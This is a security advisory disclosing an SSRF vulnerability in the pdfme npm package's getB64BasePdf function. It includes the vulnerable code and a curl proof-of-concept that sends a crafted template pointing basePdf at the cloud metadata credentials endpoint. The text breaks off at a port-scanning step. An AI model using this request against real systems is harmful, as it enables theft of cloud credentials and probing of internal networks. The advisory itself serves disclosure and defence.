GitHub Security Advisory: GHSA-pgx6-7jcq-2qff
Package: @pdfme/common (NPM)
Severity: MODERATE (CVSS 6.8)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: <= 5.5.9
Patched in: 5.5.10

Summary: PDFME has SSRF via Unvalidated URL Fetch in `getB64BasePdf` When `basePdf` Is Attacker-Controlled

Details:
## Summary

The `getB64BasePdf` function in `@pdfme/common` fetches arbitrary URLs via `fetch()` without any validation when `basePdf` is a non-data-URI string and `window` is defined. An attacker who can control the `basePdf` field of a template (e.g., through a web application that accepts user-supplied templates) can force the server or client to make requests to arbitrary internal or external endpoints, enabling Server-Side Request Forgery (SSRF) in SSR contexts or blind request forgery in browser contexts.

## Details

The vulnerability exists in `packages/common/src/helper.ts:130-141`. When `getB64BasePdf` receives a string that does not start with `data:application/pdf;`, and `window` is defined, it passes the string directly to `fetch()`:

```typescript
// packages/common/src/helper.ts:130-141
export const getB64BasePdf = async (
  customPdf: ArrayBuffer | Uint8Array | string,
): Promise<string> => {
  if (
    typeof customPdf === 'string' &&
    !customPdf.startsWith('data:application/pdf;') &&
    typeof window !== 'undefined'
  ) {
    const response = await fetch(customPdf);  // <-- No URL validation
    const blob = await response.blob();
    return blob2Base64Pdf(blob);
  }
  // ...
};
```

The Zod schema for `basePdf` in `packages/common/src/schema.ts:133-135` accepts any string:

```typescript
export const CustomPdf = z.union([z.string(), ArrayBufferSchema, Uint8ArraySchema]);
export const BasePdf = z.union([CustomPdf, BlankPdf]);
```

The `checkGenerateProps` function at `packages/common/src/helper.ts:279` only validates the Zod schema shape, which permits any string value. No URL allowlist, protocol restriction, or private IP filtering exists anywhere in the pipeline.

This function is called from multiple entry points:
- `packages/generator/src/helper.ts:42` — during PDF generation
- `packages/ui/src/hooks.ts:67` — during UI rendering
- `packages/ui/src/helper.ts:292` — during template processing

The `typeof window !== 'undefined'` guard is commonly satisfied in SSR environments (Next.js, Nuxt with jsdom, Cloudflare Workers) where `window` is polyfilled but `fetch` has full network access without CORS restrictions.

## PoC

### 1. Setup a vulnerable application

```javascript
// server.js — Next.js API route or Express handler using pdfme
import { generate } from '@pdfme/generator';

export async function POST(req) {
  const { template, inputs } = await req.json();
  // Application accepts user-provided templates
  const pdf = await generate({ template, inputs, plugins: {} });
  return new Response(pdf);
}
```

### 2. Probe internal services via SSRF

```bash
# Attacker sends a template with basePdf pointing to an internal service
curl -X POST http://target-app.com/api/generate-pdf \
  -H 'Content-Type: application/json' \
  -d '{
    "template": {
      "basePdf": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
      "schemas": [[]]
    },
    "inputs": [{}]
  }'
```

### 3. Port scanning internal networ